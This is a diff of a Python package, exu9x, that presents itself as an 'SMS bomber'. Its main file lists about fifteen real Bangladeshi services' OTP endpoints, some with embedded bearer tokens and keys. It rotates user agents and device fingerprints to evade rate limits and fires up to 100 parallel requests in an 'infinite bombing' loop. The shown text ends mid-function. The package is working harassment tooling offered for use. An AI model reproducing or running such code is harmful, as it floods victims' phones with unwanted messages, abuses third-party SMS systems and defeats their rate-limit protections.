exu9x 0.1.74__tar.gz

exu9x-0.1.74/PKG-INFO

@@ -0,0 +1,18 @@
+Metadata-Version: 2.4
+Name: exu9x
+Version: 0.1.74
+Summary: exu9x CLI tool
+Author: Your Name
+License: MIT
+Requires-Python: >=3.8
+Requires-Dist: requests
+Description-Content-Type: text/markdown
+
+# exu
+
+CLI tool by [EXU CodeX](https://t.me/exucodex)
+
+## Install
+
+```bash
+pip install exu9x==0.1.74

exu9x-0.1.74/README.md

@@ -0,0 +1,8 @@
+# exu
+
+CLI tool by [EXU CodeX](https://t.me/exucodex)
+
+## Install
+
+```bash
+pip install exu9x==0.1.74

exu9x-0.1.74/exu9x/__init__.py

@@ -0,0 +1,2 @@
+"""exu - bomber CLI tool."""
+__version__ = "0.1.74"

exu9x-0.1.74/exu9x/cli.py

@@ -0,0 +1,7 @@
+"""CLI entry point wrapper."""
+
+import runpy
+
+
+def main():
+    runpy.run_module('exu9x.exu9x', run_name='__main__')

exu9x-0.1.74/exu9x/exu9x.py

@@ -0,0 +1,739 @@
+#!/usr/bin/env python3
+# ═══════════════════════════════════════════════════════════════
+# 𝐒𝐌𝐒 𝐁𝐎𝐌𝐁𝐄𝐑 - 𝐄𝐗𝐔𝐂𝐎𝐃𝐄𝐑 𝐔𝐋𝐓𝐈𝐌𝐀𝐓𝐄 𝐄𝐃𝐈𝐓𝐈𝐎𝐍 𝐯𝟕.𝟎
+# 𝐂𝐑𝐄𝐃𝐈𝐓: @𝐄𝐗𝐔𝐂𝐎𝐃𝐄𝐑
+# 𝐓𝐄𝐋𝐄𝐆𝐑𝐀𝐌: https://t.me/EXUCODEX
+# ═══════════════════════════════════════════════════════════════
+
+import requests
+import time
+import random
+import hashlib
+import uuid
+import json
+import os
+import sys
+import threading
+import secrets
+from concurrent.futures import ThreadPoolExecutor, as_completed
+from datetime import datetime
+from collections import defaultdict
+
+# ═══════════════════════════════════════════════════════════════
+# 𝐂𝐎𝐋𝐎𝐑𝐒
+# ═══════════════════════════════════════════════════════════════
+
+𝐆𝐑𝐄𝐄𝐍 = '\033[92m'
+𝐑𝐄𝐃 = '\033[91m'
+𝐘𝐄𝐋𝐋𝐎𝐖 = '\033[93m'
+𝐁𝐋𝐔𝐄 = '\033[94m'
+𝐂𝐘𝐀𝐍 = '\033[96m'
+𝐌𝐀𝐆𝐄𝐍𝐓𝐀 = '\033[95m'
+𝐖𝐇𝐈𝐓𝐄 = '\033[97m'
+𝐁𝐎𝐋𝐃 = '\033[1m'
+𝐃𝐈𝐌 = '\033[2m'
+𝐑𝐄𝐒𝐄𝐓 = '\033[0m'
+
+def 𝐜𝐥𝐞𝐚𝐫_𝐬𝐜𝐫𝐞𝐞𝐧():
+    os.system('cls' if os.name == 'nt' else 'clear')
+
+def 𝐩𝐫𝐢𝐧𝐭_𝐛𝐚𝐧𝐧𝐞𝐫():
+    banner = f"""
+{𝐂𝐘𝐀𝐍}{𝐁𝐎𝐋𝐃}
+ ███████╗██╗  ██╗██╗   ██╗ ██████╗ ██████╗ ██████╗ ███████╗██████╗ 
+ ██╔════╝╚██╗██╔╝██║   ██║██╔════╝██╔═══██╗██╔══██╗██╔════╝██╔══██╗
+ █████╗   ╚███╔╝ ██║   ██║██║     ██║   ██║██║  ██║█████╗  ██████╔╝
+ ██╔══╝   ██╔██╗ ██║   ██║██║     ██║   ██║██║  ██║██╔══╝  ██╔══██╗
+ ███████╗██╔╝ ██╗╚██████╔╝╚██████╗╚██████╔╝██████╔╝███████╗██║  ██║
+ ╚══════╝╚═╝  ╚═╝ ╚═════╝  ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝  ╚═╝
+
+                    {𝐖𝐇𝐈𝐓𝐄}{𝐁𝐎𝐋𝐃}𝐈𝐍𝐅𝐈𝐍𝐈𝐓𝐄 𝐋𝐎𝐎𝐏 𝐄𝐃𝐈𝐓𝐈𝐎𝐍 - 𝟏𝟎𝟎𝐱 𝐒𝐏𝐄𝐄𝐃
+                    {𝐃𝐈𝐌}⚡ 100 Parallel Requests | 50+ User-Agents | Never Stop ⚡{𝐑𝐄𝐒𝐄𝐓}
+"""
+    print(banner)
+
+def 𝐩𝐫𝐢𝐧𝐭_𝐦𝐞𝐧𝐮():
+    menu = f"""
+{𝐖𝐇𝐈𝐓𝐄}{𝐁𝐎𝐋𝐃}╭──────────────────────────────────────────╮
+│         𝐒𝐌𝐒 𝐁𝐎𝐌𝐁𝐄𝐑 - 𝟏𝟎𝟎𝐱 𝐒𝐏𝐄𝐄𝐃         │
+│           @𝐄𝐗𝐔𝐂𝐎𝐃𝐄𝐑                     │
+╰──────────────────────────────────────────╯
+
+  {𝐆𝐑𝐄𝐄𝐍}{𝐁𝐎𝐋𝐃}𝟏.{𝐑𝐄𝐒𝐄𝐓}  𝐒𝐭𝐚𝐫𝐭 𝐈𝐧𝐟𝐢𝐧𝐢𝐭𝐞 𝐁𝐨𝐦𝐛𝐢𝐧𝐠
+  {𝐘𝐄𝐋𝐋𝐎𝐖}{𝐁𝐎𝐋𝐃}𝟐.{𝐑𝐄𝐒𝐄𝐓}  𝐓𝐞𝐬𝐭 𝐀𝐏𝐈𝐬
+  {𝐁𝐋𝐔𝐄}{𝐁𝐎𝐋𝐃}𝟑.{𝐑𝐄𝐒𝐄𝐓}  𝐆𝐞𝐧𝐞𝐫𝐚𝐭𝐞 𝐂𝐫𝐞𝐝𝐬
+  {𝐂𝐘𝐀𝐍}{𝐁𝐎𝐋𝐃}𝟒.{𝐑𝐄𝐒𝐄𝐓}  𝐀𝐏𝐈 𝐒𝐭𝐚𝐭𝐮𝐬
+  {𝐌𝐀𝐆𝐄𝐍𝐓𝐀}{𝐁𝐎𝐋𝐃}𝟓.{𝐑𝐄𝐒𝐄𝐓}  𝐂𝐡𝐚𝐧𝐠𝐞 𝐒𝐩𝐞𝐞𝐝
+  {𝐑𝐄𝐃}{𝐁𝐎𝐋𝐃}𝟔.{𝐑𝐄𝐒𝐄𝐓}  𝐄𝐱𝐢𝐭
+
+{𝐖𝐇𝐈𝐓𝐄}{𝐁𝐎𝐋𝐃}──────────────────────────────────────────{𝐑𝐄𝐒𝐄𝐓}
+"""
+    print(menu)
+
+# ═══════════════════════════════════════════════════════════════
+# 𝟓𝟎+ 𝐔𝐒𝐄𝐑 𝐀𝐆𝐄𝐍𝐓𝐒 - 𝐂𝐇𝐑𝐎𝐌𝐄 + 𝐅𝐈𝐑𝐄𝐅𝐎𝐗 + 𝐌𝐎𝐑𝐄
+# ═══════════════════════════════════════════════════════════════
+
+𝐔𝐒𝐄𝐑_𝐀𝐆𝐄𝐍𝐓𝐒 = [
+    # ═══ 𝐂𝐇𝐑𝐎𝐌𝐄 (𝐀𝐧𝐝𝐫𝐨𝐢𝐝) ═══
+    "Mozilla/5.0 (Linux; Android 15; Infinix X6728) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.7827.159 Mobile Safari/537.36",
+    "Mozilla/5.0 (Linux; Android 15; SM-G998B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.7827.159 Mobile Safari/537.36",
+    "Mozilla/5.0 (Linux; Android 15; Pixel 9 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.7827.159 Mobile Safari/537.36",
+    "Mozilla/5.0 (Linux; Android 14; Xiaomi 14) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.7827.159 Mobile Safari/537.36",
+    "Mozilla/5.0 (Linux; Android 14; OnePlus 12) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.7827.159 Mobile Safari/537.36",
+    "Mozilla/5.0 (Linux; Android 14; Vivo X100) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.7827.159 Mobile Safari/537.36",
+    "Mozilla/5.0 (Linux; Android 14; Oppo Find X7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.7827.159 Mobile Safari/537.36",
+    "Mozilla/5.0 (Linux; Android 13; SM-S918B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.7827.159 Mobile Safari/537.36",
+    "Mozilla/5.0 (Linux; Android 13; SM-N986B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.7827.159 Mobile Safari/537.36",
+    "Mozilla/5.0 (Linux; Android 13; Realme GT) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.7827.159 Mobile Safari/537.36",
+    
+    # ═══ 𝐂𝐇𝐑𝐎𝐌𝐄 (𝐖𝐢𝐧𝐝𝐨𝐰𝐬) ═══
+    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.7827.159 Safari/537.36",
+    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.7827.159 Safari/537.36",
+    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.7827.159 Safari/537.36",
+    "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.7827.159 Safari/537.36",
+    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.7827.159 Safari/537.36",
+    
+    # ═══ 𝐅𝐈𝐑𝐄𝐅𝐎𝐗 (𝐀𝐧𝐝𝐫𝐨𝐢𝐝) ═══
+    "Mozilla/5.0 (Android 15; Mobile; rv:135.0) Gecko/135.0 Firefox/135.0",
+    "Mozilla/5.0 (Android 15; Mobile; rv:134.0) Gecko/134.0 Firefox/134.0",
+    "Mozilla/5.0 (Android 14; Mobile; rv:133.0) Gecko/133.0 Firefox/133.0",
+    "Mozilla/5.0 (Android 14; Mobile; rv:132.0) Gecko/132.0 Firefox/132.0",
+    "Mozilla/5.0 (Android 13; Mobile; rv:131.0) Gecko/131.0 Firefox/131.0",
+    "Mozilla/5.0 (Android 15; Tablet; rv:135.0) Gecko/135.0 Firefox/135.0",
+    "Mozilla/5.0 (Android 14; Tablet; rv:134.0) Gecko/134.0 Firefox/134.0",
+    
+    # ═══ 𝐅𝐈𝐑𝐄𝐅𝐎𝐗 (𝐖𝐢𝐧𝐝𝐨𝐰𝐬) ═══
+    "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0",
+    "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0",
+    "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0",
+    "Mozilla/5.0 (Windows NT 11.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0",
+    "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0",
+    "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0",
+    
+    # ═══ 𝐈𝐎𝐒 𝐒𝐀𝐅𝐀𝐑𝐈 ═══
+    "Mozilla/5.0 (iPhone; CPU iPhone OS 17_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Mobile/15E148 Safari/604.1",
+    "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1",
+    "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1",
+    "Mozilla/5.0 (iPad; CPU OS 17_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Mobile/15E148 Safari/604.1",
+    
+    # ═══ 𝐎𝐏𝐄𝐑𝐀 ═══
+    "Mozilla/5.0 (Linux; Android 15; Infinix X6728) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.7827.159 Mobile Safari/537.36 OPR/85.0.4347.181",
+    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.7827.159 Safari/537.36 OPR/104.0.4944.215",
+    "Mozilla/5.0 (Android 15; Mobile; rv:135.0) Gecko/135.0 Firefox/135.0 OPR/85.0.4347.181",
+    
+    # ═══ 𝐄𝐃𝐆𝐄 ═══
+    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.7827.159 Safari/537.36 Edg/131.0.2903.147",
+    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.7827.159 Safari/537.36 Edg/130.0.2849.113",
+    "Mozilla/5.0 (Linux; Android 15; Infinix X6728) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.7827.159 Mobile Safari/537.36 EdgA/131.0.2903.147",
+    
+    # ═══ 𝐒𝐀𝐌𝐒𝐔𝐍𝐆 𝐁𝐑𝐎𝐖𝐒𝐄𝐑 ═══
+    "Mozilla/5.0 (Linux; Android 15; SM-G998B) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/25.0 Chrome/121.0.6167.164 Mobile Safari/537.36",
+    "Mozilla/5.0 (Linux; Android 14; SM-S918B) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/24.0 Chrome/120.0.6099.230 Mobile Safari/537.36",
+    "Mozilla/5.0 (Linux; Android 13; SM-N986B) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/23.0 Chrome/119.0.6045.163 Mobile Safari/537.36",
+    
+    # ═══ 𝐔𝐂 𝐁𝐑𝐎𝐖𝐒𝐄𝐑 ═══
+    "Mozilla/5.0 (Linux; Android 15; Infinix X6728) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.7827.159 Mobile Safari/537.36 UCBrowser/15.1.1.123",
+    "Mozilla/5.0 (Linux; Android 14; SM-G998B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.7827.159 Mobile Safari/537.36 UCBrowser/15.0.1.100",
+    
+    # ═══ 𝐕𝐈𝐕𝐀𝐋𝐃𝐈 ═══
+    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.7827.159 Safari/537.36 Vivaldi/6.7.3329.42",
+    "Mozilla/5.0 (Linux; Android 15; Infinix X6728) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.7827.159 Mobile Safari/537.36 Vivaldi/6.7.3329.42",
+    
+    # ═══ 𝐁𝐑𝐀𝐕𝐄 ═══
+    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.7827.159 Safari/537.36 Brave/1.69.153",
+    "Mozilla/5.0 (Linux; Android 15; Infinix X6728) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.7827.159 Mobile Safari/537.36 Brave/1.69.153",
+    
+    # ═══ 𝐋𝐈𝐍𝐔𝐗 𝐅𝐈𝐑𝐄𝐅𝐎𝐗 ═══
+    "Mozilla/5.0 (X11; Linux x86_64; rv:135.0) Gecko/20100101 Firefox/135.0",
+    "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0",
+    "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0",
+    
+    # ═══ 𝐂𝐇𝐑𝐎𝐌𝐄 (𝐋𝐢𝐧𝐮𝐱) ═══
+    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.7827.159 Safari/537.36",
+    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.7827.159 Safari/537.36",
+    
+    # ═══ 𝐌𝐀𝐂 𝐅𝐈𝐑𝐄𝐅𝐎𝐗 ═══
+    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:135.0) Gecko/20100101 Firefox/135.0",
+    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:134.0) Gecko/20100101 Firefox/134.0",
+    
+    # ═══ 𝐌𝐀𝐂 𝐂𝐇𝐑𝐎𝐌𝐄 ═══
+    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.7827.159 Safari/537.36",
+    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.7827.159 Safari/537.36",
+    
+    # ═══ 𝐀𝐍𝐃𝐑𝐎𝐈𝐃 𝐖𝐄𝐁𝐕𝐈𝐄𝐖 ═══
+    "Mozilla/5.0 (Linux; Android 15; Infinix X6728) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.7827.159 Mobile Safari/537.36 XBrowser/6.2.1",
+    "Mozilla/5.0 (Linux; Android 14; SM-G998B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.7827.159 Mobile Safari/537.36 XBrowser/6.2.0",
+]
+
+def 𝐠𝐞𝐭_𝐫𝐚𝐧𝐝𝐨𝐦_𝐮𝐚():
+    return random.choice(𝐔𝐒𝐄𝐑_𝐀𝐆𝐄𝐍𝐓𝐒)
+
+# ═══════════════════════════════════════════════════════════════
+# 𝐒𝐄𝐒𝐒𝐈𝐎𝐍 𝐌𝐀𝐍𝐀𝐆𝐄𝐑
+# ═══════════════════════════════════════════════════════════════
+
+class 𝐒𝐞𝐬𝐬𝐢𝐨𝐧𝐌𝐚𝐧𝐚𝐠𝐞𝐫:
+    def __init__(self):
+        self.sessions = {}
+        self.fingerprints = {}
+        self.current_ua = 𝐠𝐞𝐭_𝐫𝐚𝐧𝐝𝐨𝐦_𝐮𝐚()
+        self.rate_limited = {}
+        self.lock = threading.Lock()
+        self.total_rotations = 0
+        
+    def 𝐠𝐞𝐧𝐞𝐫𝐚𝐭𝐞_𝐟𝐢𝐧𝐠𝐞𝐫𝐩𝐫𝐢𝐧𝐭(self):
+        return {
+            "fingerprint": hashlib.sha256(f"{uuid.uuid4()}{time.time()}{random.randint(1000, 9999)}".encode()).hexdigest()[:32],
+            "guest_id": str(uuid.uuid4()),
+            "device_id": hashlib.md5(f"{uuid.uuid4()}{random.randint(1000, 9999)}".encode()).hexdigest(),
+            "session_id": secrets.token_hex(16),
+            "timestamp": int(time.time() * 1000)
+        }
+    
+    def 𝐫𝐨𝐭𝐚𝐭𝐞_𝐬𝐞𝐬𝐬𝐢𝐨𝐧(self, api_name):
+        with self.lock:
+            self.current_ua = 𝐠𝐞𝐭_𝐫𝐚𝐧𝐝𝐨𝐦_𝐮𝐚()
+            if api_name in self.sessions:
+                del self.sessions[api_name]
+            self.fingerprints[api_name] = self.𝐠𝐞𝐧𝐞𝐫𝐚𝐭𝐞_𝐟𝐢𝐧𝐠𝐞𝐫𝐩𝐫𝐢𝐧𝐭()
+            self.rate_limited[api_name] = time.time()
+            self.total_rotations += 1
+            return self.𝐠𝐞𝐭_𝐬𝐞𝐬𝐬𝐢𝐨𝐧(api_name)
+    
+    def 𝐠𝐞𝐭_𝐬𝐞𝐬𝐬𝐢𝐨𝐧(self, api_name):
+        with self.lock:
+            if api_name not in self.sessions:
+                session = requests.Session()
+                session.headers.update({
+                    "User-Agent": self.current_ua,
+                    "Accept": "application/json, text/plain, */*",
+                    "Accept-Language": "en-US,en;q=0.9",
+                    "Accept-Encoding": "gzip, deflate, br",
+                    "Connection": "keep-alive"
+                })
+                self.sessions[api_name] = session
+                if api_name not in self.fingerprints:
+                    self.fingerprints[api_name] = self.𝐠𝐞𝐧𝐞𝐫𝐚𝐭𝐞_𝐟𝐢𝐧𝐠𝐞𝐫𝐩𝐫𝐢𝐧𝐭()
+            return self.sessions[api_name]
+    
+    def 𝐢𝐬_𝐫𝐚𝐭𝐞_𝐥𝐢𝐦𝐢𝐭𝐞𝐝(self, status_code):
+        return status_code in [429, 503, 403, 408]
+
+# ═══════════════════════════════════════════════════════════════
+# 𝟏𝟓+ 𝐖𝐎𝐑𝐊𝐈𝐍𝐆 𝐀𝐏𝐈𝐒
+# ═══════════════════════════════════════════════════════════════
+
+𝐀𝐏𝐈𝐒 = [
+    # ═══ 𝐂𝐎𝐍𝐅𝐈𝐑𝐌𝐄𝐃 𝐖𝐎𝐑𝐊𝐈𝐍𝐆 ═══
+    {
+        "name": "𝐊𝐚𝐛𝐛𝐢𝐤",
+        "url": "https://api.kabbik.com/v1/auth/otpnew2",
+        "method": "POST",
+        "headers": {
+            "Content-Type": "application/json",
+            "Authorization": "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoiMjgyMCIsInJvbGUiOjEsImlhdCI6MTY1NzQ2MjI1fQ.dSY47sipaGTI_OtsysFWw_kaKZKWHWRtp4vklstVgVc",
+            "Origin": "https://kabbik.com",
+            "Referer": "https://kabbik.com/",
+            "X-Requested-With": "com.xbrowser.play"
+        },
+        "data": '{"msisdn":"88{msisdn}","currentTimeLong":{timestamp},"passKey":"ZviQQrBZroUaFMDP"}'
+    },
+    {
+        "name": "𝐎𝐬𝐭𝐚𝐝",
+        "url": "https://api.ostad.app/api/v2/user/with-otp",
+        "method": "POST",
+        "headers": {
+            "Content-Type": "application/json",
+            "Accept": "*/*",
+            "Origin": "https://ostad.app",
+            "Referer": "https://ostad.app/",
+            "X-Requested-With": "com.xbrowser.play"
+        },
+        "data": '{"msisdn":"{msisdn}"}'
+    },
+    {
+        "name": "𝐁𝐃 𝐓𝐢𝐜𝐤𝐞𝐭𝐬",
+        "url": "https://apiv1.bdtickets.com/api/v1/auth/otp/send",
+        "method": "POST",
+        "headers": {
+            "Content-Type": "application/json",
+            "Accept": "application/json, text/plain, */*",
+            "Authorization": "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uX2lkIjoiYTY5Y2E1ZTMtNDZiNy00ZWExLWE3NzEtZjg4YTYzODQ5NjI0IiwiaXNfYW5vbnltb3VzIjp0cnVlLCJ0b2tlbl92ZXJzaW9uIjoxLCJyb2xlcyI6W10sInBlcm1pc3Npb25zIjpbXSwianRpIjoiNTlkNjk5MDUtNjE2ZC00OWM1LWFjNTYtYzZiMWY3OTM4NmI4IiwiaWF0IjoxNzgzMjQ0MzAwLCJleHAiOjE3ODM4NDkxMDB9.qJyAobTFhFenc9EjMnDIJyNPC9Dt7UyPMCqxUEU4wDY",
+            "X-Platform": "web",
+            "X-Channel": "direct",
+            "Origin": "https://bdtickets.com",
+            "Referer": "https://bdtickets.com/"
+        },
+        "data": '{"phone":"+88{msisdn}"}'
+    },
+    {
+        "name": "𝐀𝐩𝐩𝐋𝐢𝐧𝐤",
+        "url": "https://applink.com.bd/appstore-v4-server/login/otp/request",
+        "method": "POST",
+        "headers": {
+            "Content-Type": "application/json",
+            "Accept": "*/*",
+            "X-Requested-With": "com.xbrowser.play",
+            "Origin": "https://apps.applink.com.bd",
+            "Referer": "https://apps.applink.com.bd/"
+        },
+        "data": '{"msisdn":"88{msisdn}"}'
+    },
+    {
+        "name": "𝐆𝐚𝐫𝐢𝐁𝐨𝐨𝐤",
+        "url": "https://api.garibookadmin.com/api/v4/user/login",
+        "method": "POST",
+        "headers": {
+            "Content-Type": "application/json",
+            "Accept": "application/json",
+            "Origin": "https://garibook.com",
+            "Referer": "https://garibook.com/",
+            "X-Requested-With": "mark.via.gp"
+        },
+        "data": '{"mobile":"+88{msisdn}","recaptcha_token":"03AFcWeA5xYvR6nQ8xYvR6nQ8xYvR6nQ8","channel":"web"}'
+    },
+    {
+        "name": "𝐊𝐢𝐫𝐞𝐢𝐁𝐃",
+        "url": "https://frontendapi.kireibd.com/api/v2/send-login-otp",
+        "method": "POST",
+        "headers": {
+            "Content-Type": "application/json",
+            "Accept": "application/json, text/plain, */*",
+            "Origin": "https://kireibd.com",
+            "Referer": "https://kireibd.com/",
+            "X-Requested-With": "XMLHttpRequest"
+        },
+        "data": '{"email":"{msisdn}"}'
+    },
+    {
+        "name": "𝐒𝐡𝐢𝐤𝐡𝐨",
+        "url": "https://api.shikho.com/auth/v2/send/sms",
+        "method": "POST",
+        "headers": {
+            "Content-Type": "application/json",
+            "Accept": "application/json, text/plain, */*",
+            "Origin": "https://shikho.com",
+            "Referer": "https://shikho.com/"
+        },
+        "data": '{"phone":"88{msisdn}","type":"student","auth_type":"signup","vendor":"shikho"}'
+    },
+    {
+        "name": "𝐒𝐡𝐰𝐚𝐩𝐧𝐨",
+        "url": "https://www.shwapno.com/api/auth",
+        "method": "POST",
+        "headers": {
+            "Content-Type": "application/json",
+            "Accept": "application/json",
+            "Referer": "https://www.shwapno.com/",
+            "Origin": "https://www.shwapno.com"
+        },
+        "data": '{"phoneNumber":"+88{msisdn}"}'
+    },
+    {
+        "name": "𝐆𝐏 𝐖𝐞𝐛𝐬𝐢𝐭𝐞",
+        "url": "https://webloginda.grameenphone.com/backend/api/v1/otp",
+        "method": "POST",
+        "headers": {
+            "Content-Type": "application/json"
+        },
+        "data": '{"msisdn":"{msisdn}"}'
+    },
+    {
+        "name": "𝐑𝐨𝐤𝐨𝐦𝐚𝐫𝐢",
+        "url": "https://www.rokomari.com/otp/send",
+        "method": "POST",
+        "headers": {
+            "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
+            "X-Requested-With": "XMLHttpRequest",
+            "Origin": "https://www.rokomari.com",
+            "Referer": "https://www.rokomari.com/login",
+            "Accept": "*/*"
+        },
+        "data": "emailOrPhone=88{msisdn}&countryCode=BD"
+    },
+    {
+        "name": "𝐅𝐮𝐧𝐝𝐞𝐬𝐡",
+        "url": "https://fundesh.com.bd/api/auth/otp/generate",
+        "method": "POST",
+        "headers": {
+            "Content-Type": "application/json; charset=utf-8",
+            "Accept": "application/json, text/plain, */*",
+            "X-Requested-With": "com.xbrowser.play",
+            "Origin": "https://fundesh.com.bd",
+            "Referer": "https://fundesh.com.bd/"
+        },
+        "data": '{"msisdn":"{msisdn}"}'
+    },
+    {
+        "name": "𝐆𝐚𝐦𝐞𝐇𝐮𝐛",
+        "url": "https://developer.portal.gamehubbd.com/api/v1/auth/otp",
+        "method": "POST",
+        "headers": {
+            "Content-Type": "application/x-www-form-urlencoded",
+            "Origin": "https://pay.portal.gamehubbd.com",
+            "Referer": "https://pay.portal.gamehubbd.com/",
+            "X-Requested-With": "com.xbrowser.play"
+        },
+        "data": "phone={msisdn}&game_slug=LEGENDARY&timestamp={timestamp}&digest={digest}"
+    },
+    {
+        "name": "𝐂𝐡𝐨𝐫𝐤𝐢",
+        "url": "https://api-dynamic.chorki.com/v2/auth/login?country=BD&platform=web&language=en",
+        "method": "POST",
+        "headers": {
+            "Content-Type": "application/json",
+            "Accept": "application/json"
+        },
+        "data": '{"number":"+88{msisdn}"}'
+    },
+    {
+        "name": "𝐁𝐢𝐨𝐬𝐜𝐨𝐩𝐞",
+        "url": "https://api-dynamic.bioscopelive.com/v2/auth/login?country=BD&platform=web&language=en",
+        "method": "POST",
+        "headers": {
+            "Content-Type": "application/json",
+            "Accept": "application/json"
+        },
+        "data": '{"number":"+88{msisdn}"}'
+    },
+    {
+        "name": "𝐃𝐞𝐞𝐩𝐓𝐨𝐏𝐥𝐚𝐲",
+        "url": "https://api.deeptoplay.com/v2/auth/login?country=BD&platform=web&language=en",
+        "method": "POST",
+        "headers": {
+            "Content-Type": "application/json",
+            "Accept": "application/json"
+        },
+        "data": '{"number":"+88{msisdn}"}'
+    }
+]
+
+# ═══════════════════════════════════════════════════════════════
+# 𝐒𝐏𝐄𝐄𝐃 𝐂𝐎𝐍𝐅𝐈𝐆 - 𝟏𝟎𝟎 𝐖𝐎𝐑𝐊𝐄𝐑𝐒
+# ═══════════════════════════════════════════════════════════════
+
+𝐒𝐏𝐄𝐄𝐃_𝐂𝐎𝐍𝐅𝐈𝐆 = {
+    "turbo": {"workers": 100, "delay": 0.0005, "label": "🚀 𝐓𝐮𝐫𝐛𝐨 (100x)"},
+    "fast": {"workers": 75, "delay": 0.001, "label": "⚡ 𝐅𝐚𝐬𝐭 (75x)"},
+    "normal": {"workers": 50, "delay": 0.002, "label": "🐢 𝐍𝐨𝐫𝐦𝐚𝐥 (50x)"},
+    "slow": {"workers": 25, "delay": 0.005, "label": "🐌 𝐒𝐥𝐨𝐰 (25x)"}
+}
+
+𝐜𝐮𝐫𝐫𝐞𝐧𝐭_𝐬𝐩𝐞𝐞𝐝 = "turbo"
+𝐫𝐮𝐧𝐧𝐢𝐧𝐠 = False
+
+# ═══════════════════════════════════════════════════════════════
+# 𝐒𝐄𝐍𝐃 𝐎𝐓𝐏
+# ═══════════════════════════════════════════════════════════════
+
+𝐬𝐞𝐬𝐬𝐢𝐨𝐧_𝐦𝐚𝐧𝐚𝐠𝐞𝐫 = 𝐒𝐞𝐬𝐬𝐢𝐨𝐧𝐌𝐚𝐧𝐚𝐠𝐞𝐫()
+
+def 𝐬𝐞𝐧𝐝_𝐨𝐭𝐩(api, msisdn, attempt):
+    try:
+        clean_msisdn = msisdn[-11:] if len(msisdn) > 11 else msisdn
+        api_name = api["name"]
+        
+        session = 𝐬𝐞𝐬𝐬𝐢𝐨𝐧_𝐦𝐚𝐧𝐚𝐠𝐞𝐫.𝐠𝐞𝐭_𝐬𝐞𝐬𝐬𝐢𝐨𝐧(api_name)
+        
+        data = api["data"]
+        if "{timestamp}" in data:
+            timestamp = int(time.time() * 1000) + random.randint(1000, 9999)
